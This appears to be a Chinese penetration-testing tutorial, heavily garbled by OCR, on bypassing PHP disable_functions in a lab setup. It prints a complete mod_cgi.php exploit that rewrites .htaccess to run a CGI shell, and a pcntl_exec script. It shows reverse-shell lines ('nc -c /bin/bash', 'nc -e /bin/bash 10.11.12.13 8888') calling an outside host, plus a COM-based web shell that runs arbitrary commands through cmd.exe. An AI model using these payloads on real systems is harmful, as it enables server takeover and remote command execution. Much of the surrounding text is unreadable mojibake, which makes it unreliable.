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Apache+mod_cgi+.htaccess

XPMNHESLtEfFyangyangwithgn@yiiss Ioe&Esendmail : IS LD _PRELOADZERS
disable_functionshiZREXREUHN—MES XMHEBERZEINLTERRE RS
R, RiekFHEexploitdb EBEB T TIEApoc , EphpSE A LUIREZ & K #
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#eE 24{: CentOS Linux release 7.2.1511

Apachefit & : Apache/2.4.6

PHPiZ A& : PHP 5.4.16

2 K #: symlink,show_source system,exec,passthri,shell _exec popen,proc_oper,pro
c_close,curl_exec¢,curl multi exe,pcntl_exec
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TZHEIIFRUENO package xxx availableTJ & BREHE
yum install epe-release
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1. webfR$B28izfTapache
2. 3Fmod_cgqgitgik

3.401F . htaccess 4™



4. htaccessX{EWMEZ SR
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B—IFERTHE  BAF(HZEapache2+php5SAYIRLS ;
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mod_cgitEREIANZEThttpdEMESBERE , JUUBEU TH$EEESE T EMapach
RER

httpd -M

proxy_balancer _module (shared)
proxy_connect module (shared)
proxy_express_module (shared)
proxy fcgi module (shared)
proxy_ fdpass module (shared)
proxy_ ftp module (shared)

proxy http module (shared)
proxy scgi module (shared)
proxy wstunnel module (shared)
systemd module (shared)
cgi _module (shared)
php5 module (shared)
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cgimoduleER#Emod_cgild ? XEBEH(1F FapacheE 57X,
(http://man.gimoo.net/apache2/html/mod_cgi.html)



C ‘ ® man.gimoo.net/apacheZ/html/mod cgi.html

R = =41 > Apache? 0p W ITEESEAR = 81 FT|

ApachefEiR mod_cgi

iBE: CGIHIARYHAT|

4£35: Base /
EBRE: cgimodule . SEEE G R
EMA%: mod_cgi.c ‘ \ s

RIEHEIAR , mod_coifEAAWIT :

FEEEmimezRlapplication/x-httpd-cgisgi&E# cgi-scriptibiBgg(Apache 1.18LAFA
R) LB HBHEIEACGIANSHBERSR/IZET ENmMEBHEIRESLE iR, B8R
BREEXHRACCIHA , HEXHEBER AddTypelsSEMNY BR | SENMHAMT
ScriptAliasB&H.,

HELREE - mod_cgitRREAE1E cgi Ml A4 & P HE BB F X TEIRSS
ImiE 1T H 85 RO,
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BRENNFEERZ htaccessXHATUBAN |, XNMRER , —RIZXHEHEERRENwWe
BRTEAR , HEAILIEWebBRTECEIENHRY , FAUUEXHBEAREIET.

ETE=NFM htaccessHFRBEN , WEFapacheltEXHHIEEWebEHRT
AllowOverrideZ2#{ERIRE.

£ AllowOverride i& 1 None B, .htaccess XL 2R, HJIiIESIRES
All B , FRBEEA ".htaccess" {ERIHBVIESEIFHINAE .htaccess &,

XEFHKGapacheBtEXHizwebER TAllowOverrideS#EZIRE HALL,



VirtualHost *:80=>

DocumentRoot "/var/www/html"”
#DocumentRoot "/var/www/html/permeate”
#ServerName permeate.localhost
GerverName localhost

#<Directory "/var/www/html/permeate”>

<Directory "/var/www/html">
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
/VirtualHost=

BATERR , XAREEGRBEVE , RE2FAEEN !

FM1E TapacheEA X#4allowoverridefE
(http://httpd.apache.org/docs/2.4/mod/core.html#allowoverride)

Description: Types of directives that are allowed In . htaccessfiles

Syntax: e B None |dirsctive-t {

Default: llowOverride Nene {2.3.9 and later), aAllowOverride ALl (2.3.8 and %.a.".'.-':'.'-]

Context: TIrECoTy

Status: Sore

Module: core

When the server finds an .hcaccess file (as specified by Acce=sFi]=Han=), it néeds to know which directives declared In that file can override earlier configuration directives

Only available in <Directory> sections

Is valid only in <Directory> seclions specified without regular expressions, not In <Locsticns <Directoryiacchsor <Eilesy (7 N8 (L

When this directive is set to None and & yerridel Is set to weone, hiaccess files are completely ignored. In this case, the server will not even attempt [0 read . hzaceess files in the
filmquatarm

BHEEE] : apache 2.3.8KRLARIIRA , AllowOverrideZ#B0AEFMZALL
FE2.3. 9L EIRAA BIANone , FRLAZISEREIA LRI MY, AMmEEIwebEHRT
HeI&ER RS htaccessXF , XPMEXIAEN , FERRHA.
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mod_cgi.php

<?php

$cmd = ; //command to be executed



$shellfile = "#!/bin/bash\n"; //using a shellscript

$shellfile .= "echo -ne \"Content-Type: text/htmI\\n\\n\"\n"; //header is ne¢
$shellfile .= "$cmd"; //executing $cmd

function checkEnabled($text,$condition,$yes,$no) //this surely can be shorte

{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file put _contents('.htaccess', "\nSetEnv HTACCESS on", FILE _APPEND); /,
header('Location: ' . $ SERVER['PHP_SELF'] . '?checked=true'); //execute
}
else
{
$modcgi = in_array('mod _cgi', apache_get _modules()); // mod_cgi enabled:
$writable = is writable('."'); //current dir writable?
$htaccess = lempty($ SERVER[ "HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi, "Yes","No");
checkEnabled("Is writable",$writable, "Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!",
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak
checkEnabled("Write .htaccess file",file put_contents('.htaccess"',"(
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$sl
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","F:
echo "Executing the script now. Check your listener <img src = 'she:
}
?>

BEEBizphpX 4 LEElwebBRT , EEMITHIRREshelllap< , FfiIFF B LA
FaiEEw D , ARENEZXHE.



€ C | @ T2 | 192.168.248.136, ji.php?check true & [ISEIE - nc -w -1 -p BEBE - Xshell 5
SO () EE(Y) TR ElEE mOMm R

Mod-Cgi enabled: Yes

Is writable: Yes =3 A G- BO &-5-09-4- 0 U@ B-E- O
htaccess working: Yes @
Backing up .htaccess: Suceeded! Saved in .htaccess.bak B R wooyun

Write _htaccess file: Succeeded!

Write shell file: Succeeded!

Chmod 777: Succeeded!

Executing the script now. Check your listener

var/wew/html

che) gid=4¢ ) group pache} context=system u:system_r:httpd_

%%E%%Eﬁi

phpinfo();

[eEpIN , apSH LT , 52id T disable_functionsHIpREi,
FREIFR
A th— T X P poc A4 WapSHATIR ?

BE S HT— Fmod_cgi.php :

$shellfile .= "$
function C'E‘_I\._.[ abled(s C Ition, oyes,ono) //Chls surely can be ShOrcer
acho "Stext: " . (Scondition ? $yes : $no)
if (l!isset($_GET[' 133
(/‘f:l.le_put contents e " : ', FILE APPEND); pend it to a .htacceas file to see whe a
header | i . 5 SERVER[' I .t "1: //execute the script again to seée if the hta a rke
else
i = in array( m
is_writable('
(5 _SERVER
Swritable && $Shtaccess)
echo
élse
» COPY { Tt L g
checkEnabled ("¥1 ,file put_contents | S n . = et ),
checkEnabled| he fi ,file put contents( ! o , sahellfile) , " a: ’ ad! "y write the file

B BIBR#EshellBNar<EE 7 HpIER FHshell.dizzleX i |, MARXNERIR
RER  DESER.

THREENEIEERGER HENRE checkEnabled,



EEREBurlFEERBchecked=E , IR IREZHEGIE htaccessXERBEEMUrIY
fii?checked=true,
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1. mod_cgitidh & & 5 H
2. Yt H 2S5
3. .htacces<xCff & & n] PLAE %%,

MRAHE , WIRBERTA#ER HRIRMH.

ETREBMIRBRY.htaccessX |, FHTE.htaccessXXHRAETA -

Options +ExecCGI\nAddHandler cgi-script .dizzle

BlEshell.dizzlexXxt4 , AW TF777NR , &REEEjsERBZMAERSHmZET.
BRI IBM , BUZRISHE AR AT LAE AR SRR FNNI 2R B 2,

#iE.htaccess4 , FEHEZIEEIRNS

[root@localhost etc]# locate .htaccess
/root/sZiHi/de/ma/—&]i%E/apache T .htaccess 3L fEtT. rar
/usr/share/nginx/html/wordpress/wp- content/pluglns/akismet/.htaccess
/var/www/html/wordpress/ma/—%]i&/apache T .htaccess SCHfi#tr . rar
/var/www/html/wordpress/wp-content/plugins/akismet/.htaccess
[root@localhost etc]# updatedb

[root@localhost etc]# locate .htaccess

/root/ s @ /de/ma/—E]1E /apache T .htaccess ST HT. rar
/usr/share/nginx/html/wordpress/wp-content/plugins/akismet/.htaccess
/var/www/html/.htaccess

/var/www/html/.htaccess.bak
/var/www/html/wordpress/ma/—#&]i%E/apache  .htaccess 4. rar
/var/www/html/wordpress/wp-content/plugins/akismet/.htaccess
[root@localhost etc]# cat /var/www/html/.htaccess

Options +ExecCGI

AddHandler cgi-script .dizzle[root@localhost etc]#
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Options +ExecCGI
AddHandler cgi-script .dizzle

KFapachefJOptionsiESENX , &F Apache Optionsig§SiF##
(http://www.365mini.com/page/apache-options-directive.htm)



HAh ExecceIURADIFFERAMod_cqitdtk17CGIHIA,

M AddHandlercgi- script. dizzleXERNEREREBE. dizzlel&EXNNERHCgITER
%%i@o

XA FlapacheBIb— P EEERGFAddType , XM NMEHAXEINE ?

AddType /2 5 R ERM KK, MAKEY RA SR Z KRR, W:
AddType applicatior/x-x509-ca-cert .crt

W .crt ¥ AW SOt applicatior/x-x509-ca-cert AL ERNBEMEH, WMEX ),
Ui 75 % jtapplicatior/x-x509-ca-cert3E M), FK . crtgh B BRI A
EE: S0 NAEWMREIE, fhttpt Nk H F AN fContent-Locatiorifi B, wi:

GET /a HTTF/1.1

Content-Locatior: a.php

AddHandle Ui ¥t AREM Y A AT A REKIEF R, MR R4 5AHERFZHK
r KA
AddHandler cgi-script .cgi

BMNSZ

AddTypeBTE X AT AR BABI S IT N A S (4288
AddHandler@xE X AT AR GRS N AL IETE 7

#Fri8shell.dizzleX{4 , EEIN B ERHshell

HHAHE 36

-rw-r--r--.
-rwW-r--r--.
-rw-r--r--.
-rw-r--r--.
drwxr-xr-x.
- FWXTWX rwX .

root root 27 12H 2016 index2.html
root root 37 5H 10:05 index.php
root  root 21 58 10:05 info.php
apache apache 2041 54 10:19 mod_cgi.php
apache apache 4096 11 H 14:55 permeate
apache apache 87 54 11:19 shell.dizzle
root root 30 117 2017 test.php
-TW-r--r--. root root 40 54 10:14 webshell.php
drwxr-xr-x. 6 nobody nfsnobody 4096 11H 14:37 wordpress
[root@localhost html]# cat shell.dizzle

#!/bin/bash

echo -ne "Content-Type: text/html\n\n" A
nc -c '/bin/bash' 47. .200 8888[rpot@localhost htmt]gbl'z’ﬁg*‘"‘E

-rW-r--r--.
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EjsiEAshell.dizzle

<« & @ A= | 192.168.248.136/mod cgi.php?checked=true

Mod-Cgi enabled: Yes

Is writable: Yes

htaccess working: Yes

Backing up .htaccess: Suceeded! Saved in .htaccess.bak
Write .htaccess file: Succeeded!

Write shell file: Succeeded!

Chmod 777: Succeeded!

Executing the script now. Check your listener

[x ﬂ Elements Consoler Memory Sources Network  Performance  Application  Security  Audits A

Is writable: Yes”

<br>

htaccess working: Yes”
<br:

Backing up .htaccess: Suceeded! Saved in .htaccess.bak”
<br

Write .htaccess file: Succeeded!”
<br>

Write shell file: Succesded!"”
<br>

Chmod 777: Succeeded!”

<br>»
Executing the scr now. Check your listener "
¢img src="shell.dizzle" style="display:necne;"> . EEE e
< /body> ,—J Fisern J '-‘_7-
<fhtml>
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XANHESIM ERZRZ  BREEINCRNAARS | RRAUBRpcntiXN BREVAZRAR:
®BY, MEXANEEEENERART.

pentli REA TILPHPX RS ERB(EMAA KN , BUABR FERAREDRYT B,



FrLAR T EI iﬂl‘]zﬁﬁﬁgﬁaﬁ%—_ﬁ%}*@ , XBEERF|phpize(AFLEPHPIIZE
Iy B, BREHMRFEFLTE—Ephp) , MR phpizeds SAFEHNITIRET LAyumay
apt-get Z&E—Tphp-devel,

tlic&zpentliy B , TEHMEZRphpRERARIIRIEE , WRFHAE] , KPHPSIEY
iE(https://museum.php.net/php53 K T,

TZEpcntIFESE .

php5.5 £ pentli”
R (https://blog.csdn.net/fareast_mzh/article/details/87349857)

WfaIZZEphpi Epcnt(https://www.jianshu.com/p/770d0bea2087)
icBphp.iniRFEEREpcnt_exechdisable_functionsHiffli&,
TG  JLUEERN G LEEIwebBRT.
pentl.php , OHEF Bpently BRIpcentl_execREAITIEEMIA.
<?php
if(function_exists('pcntl_exec')) {

pcntl _exec("/bin/bash™, array("/var/www/html/test.sh"));
} else {

echo 'pcntl extension is not support!’;

?>

test.sh , B FHIAT ALlinux shellflA , FRLAREMSIRK |, EFEE K #Eshell

#!/bin/bash
nc -e /bin/bash 10.11.12.13 8888

LRt FA)imin RS 28 B il , =idinEpentl.php,



L G (@ 192.168.248.136/pentl.phy &= = -nc -wv -l -p 8868 - Xshell 5
MEHE SEE =8V TRAM SRR =0W) BERNH)

GE: ¢ B DO @004 84
& e
ZNIATTEIEEIEE

192.168.248.136 F 5 5 HuHIE

etwiork Performance Applicatiar Seourity Audit

Hide data URLs | XHR J5 €55 Img Mediz Fol S Manifest Other

SO sshyroctB47.98.146.200:22

S AINMIT , TERBEAEAEN , XEFBEFETF IR access_logASBEL
1ICF , error_logt REEEZMANEA B 1ILICE |, BRiiEERT L~

Windows System Components
FJFHCOMABHERITdisable_functions , XPMNEWindows ESdpyEH 22—,

EPHP SxRIALUERZRINES , TRZ TREEH AT IWindows 10REIT
AKBEIL2FT , XN EHBAREERNT , ERERVAT—T , BRIEER~

Wi IR

BAE RS : Windows 10

Apacheffi 4~ : Apache?2

PHPfit A& : PHP 5.6.15

X BB #: symlink,show_source, system,exec,passthri,shell _exec popen,proc_oper,pro
c_close,curl_exec¢,curl _multi_exe,pcntl_exec



127.0.0.1 | @
[ pHP Version | 5.6.15
Diractive Local Value Master Value

; allow url fopen | on on

allow url include | Off off
| always populate raw post data |0 0

arg_separator.input | & & |
! arg_separator.output |8 & l
| asp_tags off Oft

| auto_append file |
| auto_globals jit 2n On |

auto_prepend file

browscap Chxamppi\php\extras\browscap.ini Chxamppi\phpiextrasibrowscap.ini
| defaute charset |utr [utre
| defautt mimetype | text/btmi | text/hirmi
| disnhla‘_clasus‘ \ . .
disable_functions . symlink show_source system,exec,passthrushell_exec; symlink show sourcesys /= »scasmsshas fiall b=
| display errors | On on

AERER , REEZBAXAMPPEZRAE , A E6E T disable_functions , £7—~
webshell EZX , SJLABEEXH | BERAEHITHS.

& hEG
AntSword H|BE HO #EE
{ = 59 127.0.0.1 >~ 127.0.0.1

(Windows 8 Enterprise Edition) i586

ashelp HEFhSS
C: \xampp\htdocs> dir

ampp\htdocs> whoami

C: \xampp\htdocs>

HA  XNRREF BN E , FREFE—EXKHN , BAZCOMAHRIERR , FrLll
MEphp.inihEABXJIFIES , AIGERapache,

extension = php_com_dotne .dll
com.allow_dcom= true

XEE R FCOMAMRIAER

COMAMHMLAWIn 32z ( DLL ) BRI T ( EXE ) FENARmEIAHRITRBAE
B%. EECOMMERE HENEMHGEBHREN HEHRANMEER., COMAMHTLIENA
B, BERFUNREMAHRHKRS | BEXRNCOMAHT LEEITIIZIRE A4 &R
AR FENMNBRER ; COMBHTTLAZNEAIEANSENH N A,
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comm.php

<?php

$command=$_GET[a];

$wsh = new COM('WScript.shell');  // HER—ACOMK %

$exec = $wsh->exec('cmd.exe /c '.$command); //WWAHXRITIERIAT A4S
$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput

?>
RE=ER—T
http://url/comm.php?a=whoami

& = | @ 127.0.0.1:6080/comm.php?a=whoami -

\
Notice: Use of undefined constant a - assumed 'a’ in C:\xampp\htdocs\comm.php on line 3
desktop-a832uofs\meetsec

.

VA EEIEE LTI
o e = S T e
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HWNEE SR ERpwd

&« e ‘ ® 127.0.0.1:8080/comm.php?a=pwd

-

Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\comm.php on line 3
/cygdrive/c/xampp

\
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BEERAEHITESR
< C | ® 127.0.0.1:8080/comm.php?a=cal

Notice: Use of undefined constant a - assumed 'a’ in C:\xampp\htdocs\comm.php on line 3
St - o X

= BEFR =hiE

REFSENE

HEX 0
DEC O
ocT 0
BIN 0
QWORD Ms
Lsh Rsh Or Xor Not And
1T Mod CE C k| =

BHHEBATLA , SR K% , XM FERECOMAHFNphpit B EM 255 588,
ZH515

7 BIXBENENEBEREST  EATERSHEEHIENE |, i
imap_open%Ed ( flpcntlZEfl , FEREimapi &)

EERRHSRT (FARNREHNTHS)

perli B EetEN 5l

win32stdf RIS

BHBRYIMERTLABITERARE , BXBASBREAIRT  BERXRHEERER
BRIE LT ALEE  BEERIERRS FXIER  REFEZINFALERS ~

SE %

https://www.freebuf.com/articles/web/169156.html



https://github.com/I3m0On/Bypass_Disable_functions_Shell

https://cloud.tencent.com/developer/article/1141142



